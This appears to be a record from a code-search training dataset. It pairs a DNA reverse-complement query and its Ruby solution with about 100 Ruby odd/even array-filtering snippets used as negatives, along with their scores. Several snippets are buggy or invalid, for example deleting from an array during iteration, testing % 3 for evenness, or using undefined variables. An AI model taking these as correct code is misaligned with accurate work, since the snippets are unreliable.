[ "def remove_odd_numbers_from_array(a)\n a.reject {|n| n.odd?}\nend", "def remove_odd_numbers_from_array(a)\n a.each do |x|\n if x%2!=0\n a.delete x\n end\n end\n return a\nend", "def remove_odd array\n no_odds_array = []\n array.each do |number|\n if number % 2 == 0\n no_odds_array.push(number)\n end\n end\n no_odds_array\nend", "def remove_odd(num_array)\n num_array.delete_if {|n| n%2 != 0}\nend", "def remove_even array\n\tarray.delete_if {|n| n %2 == 0 }\nend", "def remove_odd array\n\tarray.delete_if {|n| n %2 != 0 }\n\n\t# this also works\n\t# array.each do |index|\n\t# if index.odd? then\n\t# array.delete(index)\n\t# end\n\nend", "def remove_odd_numbers_from_array(a)\n return a.delete_if{|x| x % 2 == 1}\nend", "def remove_every_other(arr)\n arr.delete_if.with_index { |_, i| i.odd? }\nend", "def remove_even(num_array)\n num_array.delete_if {|n| n%2 == 0}\nend", "def remove_even array\n no_even_array = []\n array.each do |number|\n if number % 3 != 0\n no_even_array.push(number)\n end\n end\n no_even_array\nend", "def remove_evens!(arr)\n arr.each do |num|\n if num % 2 == 0\n arr.delete(num)\n end\n end\n arr\nend", "def no_odds(array)\n array.delete_if(&:odd?)\nend", "def remove_evens!(arr)\n cloned_arr = arr.dup\n arr.each do |num|\n if num % 2 == 0\n cloned_arr.delete(num)\n end\n end\n cloned_arr\nend", "def reject_odds(array)\n\t\n\tnot_odds = array.reject { |num| num.odd?}\nend", "def non_oddities(arr)\n arr_length = arr.size\n index = 0\n even_elements = []\n\n loop do\n even_elements << arr[index] if index.odd?\n\n index += 1\n break if index > arr_length\n end\n even_elements.compact\nend", "def remove_odd arr\n\ta = [1, 2, 3, 4, 5]\n\ta.delete_if &:odd?\nend", "def remove_odd(numbers)\n\tnumbers.delete_if {|n| n%2 == 1 }\nend", "def remove_evens!(arr)\n cloned_arr = arr.dup\n cloned_arr.each do |num|\n if num % 2 == 0\n arr.delete(num)\n end\n end\n arr\nend", "def remove_even arr\n\ta = [1, 2, 3, 4, 5]\n\ta.delete_if &:even?\nend", "def oddities(array)\n new_array = []\n index_range = (1..array.size-1)\n for n in index_range do \n new_array << array[n] if n.odd?\n end\n new_array\nend", "def remove_even(numbers)\n\tnumbers.delete_if {|n| n%2 == 0 } \nend", "def create_odd_array\n $y = (1..255).reject { |i| i % 2 == 0 }\nend", "def remove_odd oddNumb\n\n\toddNumb.delete_if &:odd?\nend", "def odds_only array\n array.select do |value|\n value.odd?\n end\nend", "def remove_odd a\n return a.delete_if &:odd?\nend", "def odd_only arr\n arr.select{|value| value % 2 != 0}\nend", "def remove_every_other(arr)\n arr.select.with_index { |_,idx| idx.even? }\nend", "def no_odds(arr)\n\teven_arr = []\n\tarr.each { |x| even_arr << x if x.even?}\n\treturn even_arr\nend", "def remove_every_other(arr)\n arr.values_at(* arr.each_index.select {|i| i.even?})\nend", "def oddities(array)\n new_array = []\n array.each_with_index do |num, index|\n new_array << num if index.odd?\n end\n new_array\nend", "def remove_odd([num1, num2, num3, num4, num5])\n numbers = [num1, num2, num3, num4, num5]\nreturn numbers.delete_if &:odd?\nend", "def oddities(array)\nresult = []\narray.each_with_index do |value, idx|\n result << value if (idx + 1).odd?\nend\nresult\nend", "def removeEvens(arr2)\n return arr2.select { |n| n % 2 != 0 || n == 2 }\n end", "def remove_every_other(arr)\n (1..arr.length).step(1) {|x| arr.slice!(x)}\n arr\nend", "def oddities(array)\n new_array = []\n array.each_with_index { |num, idx| new_array << num if idx.even? }\n new_array\nend", "def oddities(array)\n new_array = []\n\n index = 0\n while index < array.size\n new_array << array[index] if index.even?\n index += 1\n end\n new_array\nend", "def odds(arr)\n\tret = []\n\tarr.each_index { |i|\n\t\tif i % 2 == 1\n\t\t\tret << arr[i]\n\t\tend\n\t}\n\tret\nend", "def odd_numb array\n new_arr= array.select! do |value|\n value.class == Integer\n end\n new_arr.select { |value| value % 2 != 0 }.sort\nend", "def oddities(array)\n new_array = []\n array.each_with_index { |val, idx| new_array << val if idx.even? }\n new_array\nend", "def oddities(array)\n initialcount = array.count\n n = (initialcount/2)\n i = 1\n n.times do \n array.delete_at(i)\n i +=1\n end \n p array\nend", "def remove_every_other(arr)\n result = []\n arr.each_with_index do |obj, index_|\n result << obj if index_.even?\n end\n result\nend", "def odd_only(arr)\n arr.select{|el| el % 2 != 0}\nend", "def oddities(array)\n new_array = []\n array.each_with_index do |element, index|\n new_array.push(element) if (index + 1).odd?\n end\n new_array\nend", "def only_odd array\n new_array = array.select { |value| value.is_a?(Integer) && value % 2 != 0}\n p new_array.sort\nend", "def oddities(array)\n odd_array = []\n array.each_with_index do |e, idx|\n odd_array << e if idx.even?\n end\n odd_array\nend", "def oddities(arr)\n arr2 = []\n arr.each_with_index { |elem, ndx| arr2 << elem if ndx.even? }\n arr2\nend", "def oddities(init_array)\n odd_bods = []\n init_array.each_with_index do |element, index|\n odd_bods << element if index.odd?\n end\n odd_bods\nend", "def remove_even evenNumb\n\tevenNumb.delete_if &:even?\nend", "def oddities(array)\n odd_array = []\n array.each_with_index { |e, idx| odd_array << e if idx.even? }\n odd_array\nend", "def oddities(arr)\n new_arr = []\n arr.each_with_index { |v, idx| new_arr << v if idx.even? }\n new_arr\nend", "def remove_odd(an_array)\n odd = array.to_h.keys\n even = array.to_h.values.compact\n return even\nend", "def oddities1(arr)\n (arr.map.with_index { |element,i| element if i.even? }).compact\nend", "def oddities(array)\r\n array.select.with_index { |_, i| i.even? }\r\n end", "def oddities(arr)\n new_arr = []\n arr.each_with_index do |val, index|\n new_arr << val if index.even?\n end\n new_arr\nend", "def nums_only arr\n # found built in metods and chained them together. Took some time to figure out that the sort needed to go after the select. The select finds and returns items in the array that are integers. After that the sort organizes the numbers. then the delete method deletes the even numbers.\n arr.select { |element| element.is_a?(Integer)}.sort.delete_if &:even?\nend", "def oddities(arr)\n new_arr = []\n arr.each.with_index do |item, idx|\n new_arr << item if idx == 0 || idx.even?\n end\n new_arr\nend", "def even_num_array(numbers)\n puts \"The original array is #{numbers}\"\n\tnumbers = numbers.select {|n| n.even? } \n\tputs \"The modified array is #{numbers}\"\nend", "def oddities(array)\n new_array = []\n array.each_with_index do |item, index|\n new_array << item if index.even?\n end\n new_array\nend", "def oddities(array)\n result = []\n count = 0\n array.each do |element|\n result << element if count.even?\n count += 1\n end\n result\nend", "def oddities(array)\n ret_array = []\n array.each_with_index do |value, index|\n if index.even?\n ret_array << value\n end\n end\n ret_array\nend", "def odd_numbers(array)\n end", "def filter_odd array\n # return an array of only odd numbers least to greatest\n array.select { |value| value.is_a? Numeric }.select { |value| value.odd?}.sort\nend", "def evenies(array)\n even_array = []\n array.each_with_index { |e, idx| even_array << e if idx.odd? }\n even_array\nend", "def oddities(arr)\n\tarr.select.with_index { |num, index| num if index.even? }\nend", "def odds_only(array)\n # seperate odd numbers .odd?\n odd_arr = array.select do |val|\n # filter out integers\n if val.is_a? Integer \n # odd numbers only\n val.odd?\n end\n end\n # sort the array\n odd_arr.sort\nend", "def oddities(arr)\n counter = 0\n return_array = []\n loop do\n return_array << arr[counter]\n counter += 2\n break if counter >= arr.size\n end\n return_array.compact\nend", "def oddities_1(array)\n array.select { |element| array.index(element) % 2 == 0 }\nend", "def ping_pong_filter(arr)\n result = arr.dup\n while result.length > 1\n result = result.select.with_index do |el, idx|\n el if idx % 2 != 0\n end\n result = result.reverse\n end\n result\nend", "def select_every_odd arr\n ans = []\n arr.each_with_index do |item, i|\n if i%2 == 1 \n ans.push item\n end\n end\n ans\nend", "def oddities(array)\n count = 0\n new_array = []\n loop do\n break if array.size == 0\n new_array << array[count]\n count += 2\n break if count >= array.size\n end\n new_array\nend", "def remove_odd(an_array)\n odd = array.to_h.keys\n even = array.to_h.values.compact\n return odd\nend", "def oddities(array)\n odd_elements = []\n array.each do |element|\n odd_elements << element if array.index(element).even?\n end\n odd_elements\nend", "def oddities(array)\n odd_values = []\n index = 0\n \n while index < array.size\n odd_values << array[index]\n index += 2\n end\n odd_values\nend", "def oddities(array)\n odd_elements = []\n index = 0\n while index < array.size\n odd_elements << array[index]\n index += 2\n end\n odd_elements\nend", "def oddities(array)\n odd_elements = []\n index = 0\n while index < array.size\n odd_elements << array[index]\n index += 2\n end\n odd_elements\nend", "def oddities(array)\n result = []\n index = 0\n\n loop do\n result << array[index]\n index += 2\n break if index >= array.size\n end\n\n result\nend", "def oddArray\n\tarr=[]\n\tarr.push((1..255).find_all{|x| x % 2 != 0})\n\tputs arr\nend", "def oddities_method_1(arr)\n new_arr = []\n arr.each_with_index do |item, ind|\n new_arr << item if ind.even?\n end\n new_arr\nend", "def odd_integers(array)\nend", "def remove_even a\n return a.delete_if &:even?\nend", "def odd_array(numbers)\n odd_value = []\n \n numbers.each_with_index do |value, idx|\n odd_value << value if idx.even?\n end\n odd_value\nend", "def oddities(array)\n odd_element_array = []\n index = 0\n loop do\n break if index >= array.size\n odd_element_array << array[index] if index.even?\n index += 1\n end\n odd_element_array\nend", "def oddities(array)\n new_array = []\n i = 0\n while i < array.size\n new_array << array[i]\n i += 2\n end\n new_array\nend", "def remove_even list\n list.each do |num|\n if num%2 == 0\n list.delete(num)\n end\n end\nend", "def magic_array(array)\narray.flatten.reverse.map! {|i| i = i*2}.delete_if {|i| i.modulo(3) == 0}.uniq.sort\nend", "def evil_even_numbers(array_of_numbers)\n result = []\n for number in array_of_numbers\n result.push(number) if(number % 2 == 0)\n end\n \n return result \nend", "def only_even(arr)\n\tnumsOnly = arr.select { |num| num.is_a? Integer } \n\toddOnly = numsOnly.select { |num| num % 2 != 0 }\n\treturn oddOnly.sort()\nend", "def odd_occurances_in_array(a)\n res = 0\n a.each { |el| res ^= el }\n res\nend", "def oddities(array)\n result = []\n index = 0\n\n while index < array.size\n result << array[index]\n index += 2\n end\n\n result\nend", "def separate_array_into_even_and_odd_numbers(array)\n array.partition {|x| x.even?}\nend", "def oddities(arr)\n arr.each_with_index.with_object([]) do |(el, i), new_arr|\n new_arr << el if i.even?\n end\nend", "def oddities(array)\n return_array =[]\n array.each_with_index do |element, index|\n return_array << element if index.even?\n end\n return_array\nend", "def select_arr(arr)\n # select and return all odd numbers from the Array variable `arr`\n arr.select { |x| x%2!=0 }\n end", "def oddities(array)\n elements = []\n index = 0\n while index < array.size\n elements << array[index]\n index += 2\n end\n elements\nend", "def oddNum arr\n puts (1..255).select {|i| i%2 != 0}\nend", "def remove_odd list\n # list.delete_if &:odd?\n list.delete_if {|x| x.odd?}\nend", "def oddities(arr)\r\n arr2 = arr.select do |x|\r\n arr.index(x).even?\r\n end\r\n arr2\r\nend", "def oddNum arr\r\n puts (1..255).select {|i| i%2 != 0}\r\nend", "def oddities(array)\n array.select.with_index { |e, idx| e if idx.even? }\nend", "def odd_index_nums(array)\n odd_index_array = []\n \n array.each_with_index do |element, index|\n if index.odd?\n odd_index_array << element\n end\n end\n odd_index_array\nend" ]
[ "0.8649637", "0.8510921", "0.84928346", "0.8418858", "0.83774436", "0.8366879", "0.83448106", "0.803952", "0.802341", "0.79663587", "0.7959718", "0.7952741", "0.7950148", "0.7938811", "0.79222083", "0.7919922", "0.79122835", "0.78768367", "0.77158695", "0.7655689", "0.7617314", "0.75824463", "0.7577734", "0.75387543", "0.7503519", "0.74904937", "0.7486152", "0.748306", "0.7481638", "0.7475821", "0.7472148", "0.7449323", "0.7446754", "0.7438168", "0.7400241", "0.7339345", "0.73273325", "0.73079145", "0.7306174", "0.72876", "0.7282724", "0.7282376", "0.72773594", "0.725613", "0.7251582", "0.72373825", "0.72260284", "0.7206202", "0.71987844", "0.7198684", "0.71894515", "0.71847135", "0.7167524", "0.71581954", "0.71487457", "0.71431744", "0.7131097", "0.711869", "0.7117738", "0.71114236", "0.7107732", "0.7088739", "0.7083533", "0.70813596", "0.7071262", "0.70664835", "0.70653915", "0.7064359", "0.70589703", "0.704264", "0.7040251", "0.7037322", "0.7035709", "0.70335984", "0.7032846", "0.7029607", "0.70250034", "0.7024687", "0.7022949", "0.7020767", "0.70199054", "0.70186377", "0.7012409", "0.7005491", "0.6999498", "0.69923145", "0.6988876", "0.6974822", "0.69746", "0.6965364", "0.69449955", "0.69442356", "0.6913396", "0.6909123", "0.6905448", "0.6902926", "0.690116", "0.6889479", "0.6887706", "0.68869305" ]
0.8573983
1
Sample Dataset AAAACCCGGT Sample Output ACCGGGTTTT
def reverse_complement(dna_string) complementary = {'A' => 'T', 'T' => 'A', 'C' => 'G', 'G' => 'C'} complement = "" dna_string.reverse.each_char do |nucleotide| complement += complementary[nucleotide] end complement end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sample_data\n %w(A,B,1 A,C,2 B,C,3 B,D,3 C,D,1 B,E,2 D,F,3 D,E,3 E,G,3 F,G,1)\n end", "def mutate_ugcid(_)\n (ALPHABET.sample(6) + DIGITS.sample(4)).join\n end", "def samples; end", "def samples; end", "def samples_values\n %w(\n 7-84794-00160-2\n 0-85798-02872-6\n 8-92675-00010-8\n 0-97546-10200-8\n 7-29469-63104-3\n 7-26299-10020-6\n 0-87447-21872-4\n 0-88593-12002-2\n 0-80696-09642-6\n 7-33952-99710-3\n 0-87110-31277-3\n 0-13357-80199-2\n 6-64228-48662-8\n 0-29679-36042-0\n 0-83085-30096-8\n 0-85000-01163-8\n 7-26299-10020-6\n 8-53739-00002-1\n 6-52935-10001-2\n 0-83085-90701-3\n 0-89819-79688-5\n 0-10986-00303-2\n 0-85000-01213-0\n 8-43700-203230\n 1-88985-00013-7\n 8-437004-998163\n 0-87396-00410-2\n 8-435053-384036\n 0-82896-78040-2\n 0-89636-46000-6\n 0-85000-01211-6\n 0-18138-20902-8\n 0-87512-92005-7\n 0-80887-49374-4\n 0-80732-24701-0\n 0-85000-01054-9\n 0-83300-09551-8\n 0-85000-0103702\n 0-88534-00143-4\n 0-81308-83747-5\n 0-31259-01849-2\n 8-92186-00025-3\n 0-88593-10005-5\n 8-51718-00002-4\n 0-83837-00616-2\n 0-83085-20022-0\n 0-40426-99251-0\n 8-53763-00102-5\n 0-88553-09349-6\n 0-96619-66555-6\n 7-26319-10001-8\n 0-87356-40512-3\n 0-00579-00005-0\n 0-71570-02009-5\n 0-81753-05020-7\n 0-85155-00003-7\n 7-28691-44674-6\n 0-21130-51506-6\n 0-87512-92005-7\n 0-12894-84511-7\n 7-15126-00001-7\n 0-18138-20902-8\n 0-80887-49385-0\n 0-12354-08770-5\n 0-12354-08765-1\n 7-24826-02125-3\n 0-89121-18852-1\n 0-80696-05750-2\n 0-98652-90000-7\n 8-58517-00043-9\n 8-58517-00048-4\n 0-18138-20903-5\n 7-18742-00005-8\n 0-00579-00005-0\n 0-88232-00261-0\n 0-99988-07109-6\n 0-88534-00143-4\n 8-19960-00021-6\n 7-17888-79112-7\n \n )\n end", "def to_s\n\n #new string for output\n output_row1 = String.new\n output_row2 = String.new\n output_row3 = String.new\n output_row4 = String.new\n\n #new variable to preserve spaces\n letter_array = @spaces\n\n # push the new letters to our rows\n output_row1 << letter_array.sample(4).join\n output_row2 << letter_array.sample(4).join\n output_row3 << letter_array.sample(4).join\n output_row4 << letter_array.sample(4).join\n\n # return four rows to pass tests\n return output_row1, output_row2, output_row3, output_row4\n\n\n end", "def lda (input = \"FF00\")\n\n\tif input.length > 2\n\t\t$code.add(\"AD\" + input)\n\telse\n\t\t\n\t\t$code.add(\"A9\" + input)\n\tend\n\nend", "def generate_code\n charset = Array('A'..'Z') + Array('a'..'z')\n Array.new(8) { charset.sample }.join\nend", "def generate_accessCode\n return ((0..9).to_a + (\"a\"..\"z\").to_a).shuffle[0..5].join(\"\")\n end", "def make_training_set training_set_size\n sample = $ou.to_a.sample(training_set_size).shuffle\n data_to_csv 'train.csv', sample\nend", "def new_id\n pattern = []\n num_per_section = [8,4,4,4,12]\n options = '1234567890abcdef'.chars\n\n num_per_section.each_with_index do |value, index| \n pattern[index] = ''\n value.times {pattern[index] += options.sample}\n end\n\npattern.join('-')\nend", "def DNA_strand(dna)\n new_dna = ''\n dna.each_char do |x|\n case x\n when 'a'\n new_dna << 't'\n when 't'\n new_dna << 'a'\n when 'g'\n new_dna << 'c'\n when 'c'\n new_dna << 'g'\n end\nend\nputs new_dna\nend", "def sample_string(length = 12)\n ('a'..'z').to_a.sample(length).join\n end", "def getFtsSequences\n @gb.each_cds do |ft|\n ftH = ft.to_hash\n loc = ft.locations\n loc = \"c#{ft.locations[0].to_s}\" if ft.locations[0].strand == -1\n gene = []\n product = []\n gene = ftH[\"gene\"] if !ftH[\"gene\"].nil?\n product = ftH[\"product\"] if !ftH[\"product\"].nil?\n dna = getDna(ft,@gb.to_biosequence)\n seqout = dna.output_fasta(\"#{@accession}|#{loc}|#{ftH[\"protein_id\"][0]}|#{gene[0]}|#{product[0]}|#{@org}\",60)\n puts seqout\n end\nend", "def genbank\n chars = 60\n lines = (length / chars.to_f).ceil\n width = length.to_s.length\n\n s = ''\n (1..lines).each do |i|\n s << \"%#{width}d\" % (chars * (i - 1) + 1)\n s << ' '\n s << to_s[chars * (i - 1), chars].scan(/\\w{1,10}/).join(' ')\n s << \"\\n\"\n end\n s\n end", "def main()\n input = ARGV[0] # original sample sheet\n sccout = ARGV[1] # SCC formatted sample sheet\n\n infile = File.new(input, \"r\")\n sccfile = File.new(sccout, \"w\") # SCC samplesheet for cellRanger\n\n # counter for headers\n flag = 1\n\n infile.each {\n |line|\n\n cols = line.chomp.split(/,/)\n if flag ==2\n \n sccfile.write \"Lane,Sample,Index\" +\"\\n\"\n end\n \n \n if (flag >= 2)\n\n sequenceLength = cols[9].split(\"_\")\n arrlength=sequenceLength.length() \n num = sequenceLength[arrlength-2].split(\"E\") \n # identify single cell projects\n if cols[9].include? \"_SCC_\"\n sccfile.write cols[1]+ \",\" + cols[2] + \",\" + cols[4] + \"\\n\"\n end\n end\n flag = flag + 1\n \n }\n\n infile.close()\n sccfile.close()\nend", "def genOutputLabelArray()\n return [\"timeIndex\",\n \"posIndex_x\", \"posIndex_y\", \"posIndex_z\",\n \"population\"] ;\n end", "def match_short_name_to_dataset(short_to_dataset_file, short_name_output)\n dataset_output = Array.new\n count = 0;\n CSV.foreach(short_to_dataset_file) do |row|\n for i in 0..short_name_output.size\n if row[0].eql? short_name_output[i]\n dataset_output[count] = row[1]\n count = count + 1\n end\n end\n end\n\n return dataset_output\n end", "def make_subset(args={}) \n start, stop = args[:start], args[:stop]\n records = args[:records]\n out_folder = args[:out_folder]\n \n # output full records\n File.open(\"#{out_folder}/full.fasta\", 'w') do |handle|\n records.each do |record|\n handle.puts record\n end\n end\n \n # Output truncated records\n nucleotides = 0\n i = 0\n while (nucleotides/sample_size.to_f < (stop - start))\n i += 1\n records.each do |record|\n n = record.sequence[i]\n # normal and ambiguous nucleotides\n if n =~ /[RYSWKMBDHVNGAUTC]/i\n nucleotides += 1\n elsif n =~ /[-\\.]/\n # do nothing about gaps\n else\n fail \"weird character: #{n}\"\n end\n end\n end\n \n File.open(\"#{out_folder}/truncated.fasta\", 'w') do |handle|\n records.each do |record|\n handle.puts \">#{record.name}\\n#{record.sequence[start, start+i]}\"\n end\n end\nend", "def get_aa_array(initial_position = 0)\n @aa_array = []\n require_sequence = @dna_sequence[initial_position..-1].tr('-','N')\n base_array = []\n require_sequence.each_char {|base| base_array << base}\n while (base_array.length>=3) do\n base_3= \"\"\n 3.times{base_3 += base_array.shift}\n @aa_array<< amino_acid_2(base_3)\n end\n end", "def genome(liszt)\n=begin\n[samopen] SAM header is present: 2 sequences\n7621912 reads; of these:\n 4009241 (52.60%) were paired; of these:\n 1983557 (49.47%) aligned concordantly 0 times\n 1818685 (45.36%) aligned concordantly exactly 1 time\n 206999 (5.16%) aligned concordantly >1 times\n ----\n 1983557 pairs aligned concordantly 0 times; of these:\n 409503 (20.64%) aligned discordantly 1 time\n ----\n 1574054 pairs aligned 0 times concordantly or discordantly; of these:\n 3148108 mates make up the pairs; of these:\n 1009275 (32.06%) aligned 0 times\n 35392 (1.12%) aligned exactly 1 time\n 2103441 (66.82%) aligned >1 times\n 3612671 (47.40%) were unpaired; of these:\n 498719 (13.80%) aligned 0 times\n 2246121 (62.17%) aligned exactly 1 time\n 867831 (24.02%) aligned >1 times\n=end\n #puts(liszt);exit\n dict={}; liszt.shift\n dict[\"total\"]=liszt.shift.split[0]; #liszt.shift\n dict[\"paired\"]=liszt.shift.split[0]; liszt.shift #conc 0\n dict[\"conc_once\"]=liszt.shift.split[0]\n dict[\"conc_mult\"]=liszt.shift.split[0]\n liszt.shift(2); dict[\"disc_once\"]=\"\"; dict[\"disc_mult\"]=\"\"\n line=liszt.shift\n line.include?(\">1 times\") ? dict[\"disc_mult\"]=line.split[0] : dict[\"disc_once\"]=line.split[0]\n liszt.shift\n dict[\"unaligned_pairs\"]=liszt.shift.split[0]\n liszt.shift\n dict[\"unmates\"]=liszt.shift.split[0] #unaligned mates\n dict[\"mate_once\"]=liszt.shift.split[0]\n dict[\"mate_mult\"]=liszt.shift.split[0]\n dict[\"unpaired\"]=liszt.shift.split[0]\n dict[\"unpair_unaligned\"]=liszt.shift.split[0]\n dict[\"unpair_once\"]=liszt.shift.split[0]\n dict[\"unpair_mult\"]=liszt.shift.split[0]\n dict\nend", "def sampling_data(fun, v1=vv1, v2=vv2, repeat1=30, plan=NULL)\n len = v1.length\n data1 = Array.new(len, 0)\n len.times {|factor1|\n data1[factor1] = make_data_set(fun, v1, v2, factor1, repeat1, plan)\n }\n\n print \"sampling_data data is \\n\"\n p data1\n\n data1\nend", "def sample_report_data\n all_reads_data = []\n outputs.each_with_index do |output, index|\n data = {:output => output, :lane => lane, :name => name,\n :illumina => illumina_barcode, :custom => custom_barcode,\n :read => reads[index], :genome => genome, :order => order, :lib_id => lib_id, :order_type => order_type, :lab => lab}\n all_reads_data << data\n end\n all_reads_data\n end", "def annotate_samples\n # hash to connect metadata\n exp_hash = create_metadata_hash(@exp_metadata, 0) # { expid => [metadata] }\n bs_hash = create_metadata_hash(@bs_metadata, 0) # { biosampleid => [metadata] }\n srs_hash = create_metadata_hash(@bs_metadata, 1) # { sampleid => [metadata] }\n date_hash = received_date_by_experiment # { expid => date_received }\n\n annotated = Parallel.map(open(@samples_fpath).readlines.drop(1), :in_threads => @@nop) do |line|\n data = line.chomp.split(\"\\t\")\n sample_md = bs_hash[data[0]] || srs_hash[data[0]]\n sample_info = if sample_md\n coverage = if sample_md[3] != \"NA\"\n data[7].to_f / sample_md[3].to_f * 1_000_000\n else\n \"NA\"\n end\n [\n sample_md,\n coverage,\n ]\n else\n \"NA\\tNA\\tNA\\tNA\" # secondary sample id, taxon id, taxonomic name, coverage\n end\n [\n data,\n sample_info,\n exp_hash[data[1]],\n date_hash[data[1]],\n ].flatten.join(\"\\t\")\n end\n open(output_fpath(\"quanto.annotated.tsv\"), 'w'){|f| f.puts([annotated_header.join(\"\\t\"), annotated]) }\n end", "def make_tnt_input(seq_arr)\n seq_arr_length = seq_arr[0][:seq].length()\n retstr = \"xread\\n#{seq_arr_length} 49\\n\"\n seq_arr.each { |sa| retstr << \"#{sa[:genus]} #{sa[:seq]}\\n\" }\n retstr << \";\\n\"\nend", "def randomize\n\t\tlines = Array.new\n\t\t@output_data.each do |line|\n\t\t\tlines << line.chomp\n\t\tend\n\t\tshuffle_array(lines)\n\t\t@output_data = lines.to_s\n\tend", "def mutate\n @dna[((0...@dna.length).to_a).sample] = @@dna_decoder.keys.sample\n end", "def getFtsNtSequences\n @gbkObj.each_cds do |ft|\n ftH = ft.to_hash\n loc = ft.locations\n gene = []\n product = []\n protId = \"\"\n gene = ftH[\"gene\"] if !ftH[\"gene\"].nil?\n product = ftH[\"product\"] if !ftH[\"product\"].nil?\n protId = ftH[\"protein_id\"][0] if !ftH[\"protein_id\"].nil?\n locustag = ftH[\"locus_tag\"][0] if !ftH[\"locus_tag\"].nil?\n dna = getDna(ft,@gbkObj.to_biosequence)\n seqout = dna.output_fasta(\"#{@accession}|#{loc}|#{protId}|#{locustag}|#{gene[0]}|#{product[0]}\",60)\n puts seqout\n end\n end", "def get_analyzer_results(analyzer, the_samples)\n output = Array.new\n analyzer_base = analyzer.sub('.py', '')\n puts the_samples\n puts analyzer\n the_samples.each do |sample|\n output << \"results/#{$jobid}/#{$selection}#{$jetcorrection}/iso#{$isolation}/#{analyzer_base}/#{sample}.root\"\n #output << \"results/#{$jobid}/#{analyzer_base}/#{sample}.root\"\n end\n return output\nend", "def genStr strLen\nsortedAlphabet = @alphabet.sort\nresultStrs = [ ]\ntestStrings = [ ]\ntestStrings[0] = []\ntestStrings[0].push \"\"\n1.upto(strLen.to_i) { |x|\ntestStrings[x] = []\ntestStrings[x-1].each { |s|\nsortedAlphabet.each { |c|\ntestStrings[x].push s+c\n}\n}\n}\ntestStrings.flatten.each { |s|\nresultStrs.push s if accept? s, @start\n}\nresult = \"\"\nresultStrs.each { |x| result.concat '\"'+x+'\" ' }\nresult\nend", "def sample1\n Anomalous.load('spec/sample_data/sample.mat', data_format: :matlab)\nend", "def main \n settings = {}\n settings[\"--minAD\"] = 6 ## min # of reads carrying alternative allele for SNV\n settings[\"--minADIndel\"] = 8 ## min # of reads carrying alternative allele for indel\n settings[\"--minDP\"] = 12 # min depth in parents\n settings[\"--phenotype\"] = \"\"\n settings[\"--minPL\"] = 70\n settings[\"--minPLP\"] = 30\n settings[\"--minPLIndel\"] = 80\n settings[\"--maxAAF\"] = 0.015\n settings[\"--maxFreq\"] = 0.001\n settings[\"--maxAC\"] = 3\n\n optHash = getopt()\n vcf = optHash[\"--vcf\"]\n \n settings[\"--output\"] = vcf \n settings[\"--header\"] = vcf\n settings.keys.sort.each do |s|\n if optHash.key?(s) \n if s == \"--phenotype\" or s == \"--output\" or s == \"--header\"\n settings[s] = optHash[s]\n else\n settings[s] = optHash[s].to_f\n end\n end\n end\n \n\n samples=countSamples(settings[\"--phenotype\"], settings[\"--header\"])\n\n # $stderr.puts samples\n \n filterVCF(vcf,settings,samples) # gt: gene -> pos -> sample -> genotype, \n\nend", "def DNA_strand(dna)\n arr = dna.split(//)\n another_arr = Array.new\n arr.each do |chr|\n case chr\n when \"A\"\n another_arr << \"T\"\n when \"T\"\n another_arr << \"A\"\n when \"C\"\n another_arr << \"G\"\n else\n another_arr << \"C\"\n end\n end\n \"String #{dna} is #{another_arr.join}\"\nend", "def count_nucleotides( input )\n\n bases = {\n \"A\" => 0,\n \"C\" => 0,\n \"G\" => 0,\n \"T\" => 0,\n }\n\n dna = [ ]\n\n input.upcase.chars.each do | letter |\n if bases.key? letter\n bases[ letter ] +=1 # if letter matches than start the counter\n else\n dna.push \"#{ letter } is not a nucleotide.\" # if letter is not a match then saves letter and states that in output\n end\n\n\n end #input.chars\n\n bases.each do | key, value |\n dna.push \"#{ key }, #{ value }\"\n end\n\n puts dna\n # puts bases\n end", "def print_output_head(index, meta_data)\n puts \"\\nPrinting autoscaled dataset for %.2f\" %\n (meta_data.domain_z.lower + (index * meta_data.domain_z.step))\n puts \"\\n\"\n end", "def text_encoding\n chds = dataset.map{|ds| \"#{ds[:min_value]},#{ds[:max_value]}\" }.join(\",\")\n \"t\" + number_visible + \":\" + datasets.map{ |ds| ds.join(',') }.join('|') + \"&chds=\" + chds\n end", "def amino_acid_2 (bases)\n bases_to_aa = []\n aa_list = []\n base1 = bases[0].to_list\n base2 = bases[1].to_list\n base3 = bases[2].to_list\n l1 = base1.size - 1\n l2 = base2.size - 1\n l3 = base3.size - 1\n (0..l1).each do |n1|\n b1 = base1[n1]\n (0..l2).each do |n2|\n b2 = base2[n2]\n (0..l3).each do |n3|\n b3 = base3[n3]\n bases_all = b1 + b2 + b3\n bases_to_aa << bases_all\n end\n end\n end\n\n bases_to_aa.each do |base|\n case base\n when /^TT[TCY]$/\n aa = \"F\"\n when /^TT[AGR]$/\n aa = \"L\"\n when /^CT.$/\n aa = \"L\"\n when /^AT[TCAHYWM]$/\n aa = \"I\"\n when \"ATG\"\n aa = \"M\"\n when /^GT.$/\n aa = \"V\"\n when /^TC.$/\n aa = \"S\"\n when /^CC.$/\n aa = \"P\"\n when /^AC.$/\n aa = \"T\"\n when /^GC.$/\n aa = \"A\"\n when /^TA[TCY]$/\n aa = \"Y\"\n when /^TA[AGR]$/\n aa = \"*\"\n when /^T[GR]A$/\n aa = \"*\"\n when /^CA[TCY]$/\n aa = \"H\"\n when /^CA[AGR]$/\n aa = \"Q\"\n when /^AA[TCY]$/\n aa = \"N\"\n when /^AA[AGR]$/\n aa = \"K\"\n when /^GA[TCY]$/\n aa = \"D\"\n when /^GA[AGR]$/\n aa = \"E\"\n when /^TG[TCY]$/\n aa = \"C\"\n when \"TGG\"\n aa = \"W\"\n when /^CG.$/\n aa = \"R\"\n when /^AG[TCY]$/\n aa = \"S\"\n when /^[AM]G[AGR]$/\n aa = \"R\"\n when /^GG.$/\n aa = \"G\"\n when /^[ATW][CGS][CTY]$/\n aa = \"S\"\n when /^[TCY]T[AGR]$/\n aa = \"L\"\n else\n aa = \"-\"\n end\n aa_list << aa\n end\n aa_out = aa_list.uniq.join\n return aa_out\n end", "def bs\n \"#{fetch_sample(BS_PRE)} #{fetch_sample(BS_MID)} #{fetch_sample(BS_POS)}\"\n end", "def bgnstr() @records.get_data(GRT_BGNSTR); end", "def measure_DNA\n show do\n title \"Measure DNA Concentration\"\n check \"Elute DNA into 1.5 mL tubes by spinning at 17.0 xg for one minute, keep the columns.\"\n check \"Pipette the flow through (30 uL) onto the center of the column, spin again at 17.0 xg for one minute. Discard the columns this time.\"\n # check \"Go to B9 and nanodrop all of 1.5 mL tubes, enter DNA concentrations for all tubes in the following:\"\n table operations.start_table\n .output_item(OUTPUT)\n .get(:conc, type: 'number', heading: \"Concentration 